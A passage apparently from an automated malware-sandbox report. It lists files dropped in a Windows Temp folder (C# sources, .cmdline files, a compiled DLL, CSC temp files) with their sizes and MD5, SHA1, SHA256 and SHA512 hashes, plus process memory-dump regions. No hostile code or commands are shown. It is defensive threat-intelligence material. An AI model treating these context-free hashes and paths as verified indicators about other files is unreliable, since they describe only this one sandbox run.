a22a43c39f8b6b101cf0af34bccd64caba4cca42

SHA256
4a30225f90416970486525abf217b7acd2d15bb3e07eddca280ad06fbb7c2b31

SHA512
43f9516534246de714893d9ec9820ccae8bebac3b6214843a0c7bdb9e91ea6b7b4642ee2c8ff6aaf6801e8e01b656e7aab01eb471ed917c5435507f22fa57081

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEA6.tmp
Filesize
1KB

MD5
bbca724305234d038f96946c7b0e8e06

SHA1
2fe520da4bf28d9ca30c53ab51e3611d187eaa6e

SHA256
35b574802490a0f5f4a35c048a394c8c800cb3451a8e4b84ce549c20c3bb1aa8

SHA512
b166e96d461512962a65e7964a650ccf6bd8dd7938436a5c888d9d875cf73fcfa79749412812082c3846c509aad4417059708d79fbfb6f2d776b216a340dc1e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\l22ndnft\l22ndnft.dll
Filesize
3KB

MD5
b9f6032dc52b0d6a946bd5d05237f99f

SHA1
dd24a4651348f1260eebb248526a18331e555d68

SHA256
c927de1fd77777ebcbe7ee2ac2da8a5cac45e10be29eb097c819574ad2609144

SHA512
5f831676f64df8a2129e8e9dc8160837bac5e89ec23a83d12f1b87a8a6a627ace7470cb27cb0bc7f88d1f0e9835dd5be6718970b57159cd817fe852a9ac8e8f6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2upsduwn\2upsduwn.0.cs
Filesize
656B

MD5
5c3b9d846e909a6c7a075b04306994de

SHA1
a7ae3a2213d56996fd6af8fc2d62f27279d876fc

SHA256
9d2683d7bccd6f660645ee742e2b14653cbe99ef7e24f2569e6ffad048438752

SHA512
b20f53044c5325874dc2332d51a8a3f8d577f00c6e27c405bffd322468b30ddaac82edacf05af8789fa549169e6f9656f46b9ce1cc4d9d02108b196d4ff177e8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2upsduwn\2upsduwn.cmdline
Filesize
369B

MD5
6c05c14dd10fe6a04968692772ff6c7d

SHA1
9a2b32d9413283e59a6adcc28f748b4d7aca0e06

SHA256
66db8880e18e740f88d951a3ca6f249cd28770a2c526c9e05b514773527c7a5d

SHA512
127451e9f27a23ae5e83bd8e1fe886b6b47d427f17a002846686faa0ded81ecfe9d2bf377800b0c450d08381cdbb22c4e8f4015dc9468a8c6805bf1cf300c1ea

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2upsduwn\CSCE5B48C55D152438BAF1A463D57D0DA83.TMP
Filesize
652B

MD5
b328ba1bac996f4087add8c02ca71e4c

SHA1
58b0f49a82f906299571028c52bea7956344d11d

SHA256
03c17d9e72f089bfdbe6a6fb56013bfe4cf8693d194c2c687d415313f15aa463

SHA512
de516c249b7f379a3cc85dc7a06bc2b6d8727981b1fba0c04d7b09ae804d448a16df8ad2bcd12bb5274d85cdb61070faad5dc9075ba0f35164ee1c114e149023

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l22ndnft\CSC94AEC44AD8814BD6BABBC6425B61BF.TMP
Filesize
652B

MD5
67bde12d2540db2b1470d7183f4120d5

SHA1
25b1d3be3b8a1ff83c547624f7eb7dc6aade2382

SHA256
b1b30845c061a563322063d1af71769f95450c4ebf9be55a9fd775b4ed045157

SHA512
206271bd264ed95c861cdccce22ccc2dae75c35290acdb24ba7e066898542c82da4f3e79e66b26f166b3e933bf8279c48babfba77e0b5bf35a74f652b572a79e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l22ndnft\l22ndnft.0.cs
Filesize
411B

MD5
6b96794b465c742fb316ceb62f518011

SHA1
8335b75018077b1ff6953a7d8d4a2666db1916c0

SHA256
b0bb0e4ded070a419c82e3704596e8a4f7023357e72f6849a235311d7c107d16

SHA512
8cbc7f1e612d125edf78ccfa523b23d856ee3ad1dc8bc96cdcbc146223fad00e7becbe9b31c6a77b3fea56f1851396cb774c624bb41caafb91c6858cb4247df4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l22ndnft\l22ndnft.cmdline
Filesize
369B

MD5
cdfe97e504b74638ceeddc6c698ee92b

SHA1
d95bab913001033c9a094bdf43d1f39634ae9b91

SHA256
1b868e03aa5342141d572661ea5ce47a20912263171554b4f86a771901666c6e

SHA512
3975a3ad9743b6a665c36fa14a0225f215e5338d36a52ec325940cc4eec496d0aa4b6a663e9880ee548d47386027cd13de00351130b4582cec6e45c8533987fd

Download Submit
memory/2212-148-0x00007FFECCB50000-0x00007FFECD611000-memory.dmp

Filesize
10.8MB

Download
memory/2212-146-0x0000000000000000-mapping.dmp

Download
memory/2220-161-0x0000000000000000-mapping.dmp

Download
memory/2460-130-0x0000000000000000-mapping.dmp

Download
memory/2884-135-0x0000000000000000-mapping.dmp

Download
memory/2884-137-0x00007FFECCC70000-0x00007FFECD731000-memory.dmp

Filesize
10.8MB

Download
memory/2932-133-0x000001855D020000-0x000001855D042000-memory.dmp

Filesize
136KB

Download
memory/2932-132-0x0000000000000000-mapping.dmp

Download
memory/2932-134-0x00007FFECCC70000-0x00007FFECD731000-memory.dmp

Filesize
10.8MB

Download
memory/3188-140-0x0000000000000000-mapping.dmp

Download
memory/3772-164-0x0000000000000000-mapping.dmp

Download
memory/4444-150-0x00007FFECCB50000-0x00007FFECD611000-memory.dmp

Filesize
10.8MB

Download
memory/4444-149-0x0000000000000000-mapping.dmp

Download
memory/4644-154-0x0000000005190000-0x00000000051B2000-memory.dmp

Filesize
136KB

Download
memory/4644-158-0x00000000065E0000-0x0000000006624000-memory.dmp

Filesize
272KB

Download
memory/4644-159-0x0000000007970000-0x0000000007FEA000-memory.dmp

Filesize
6.5MB

Download
memory/4644-160-0x0000000007330000-0x000000000734A000-memory.dmp

Filesize
104KB

Download
memory/4644-155-0x0000000005230000-0x0000000005296000-memory.dmp

Filesize
408KB

Download
memory/4644-156-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/4644-153-0x00000000053E0000-0x0000000005A08000-memory.dmp

Filesize
6.2MB

Download
memory/4644-152-0x0000000002720000-0x0000000002756000-memory.dmp

Filesize
216KB

Download
memory/4644-151-0x0000000000000000-mapping.dmp

Download
memory/4644-157-0x0000000005FC0000-0x0000000005FDE000-memory.dmp

Filesize
120KB

Download
memory/4644-168-0x0000000000E28000-0x0000000000E2A000-memory.dmp

Filesize
8KB

Download
memory/4644-169-0x0000000007520000-0x0000000007596000-memory.dmp

Filesize
472KB

Download
memory/5004-136-0x0000000000000000-mapping.dmp

Download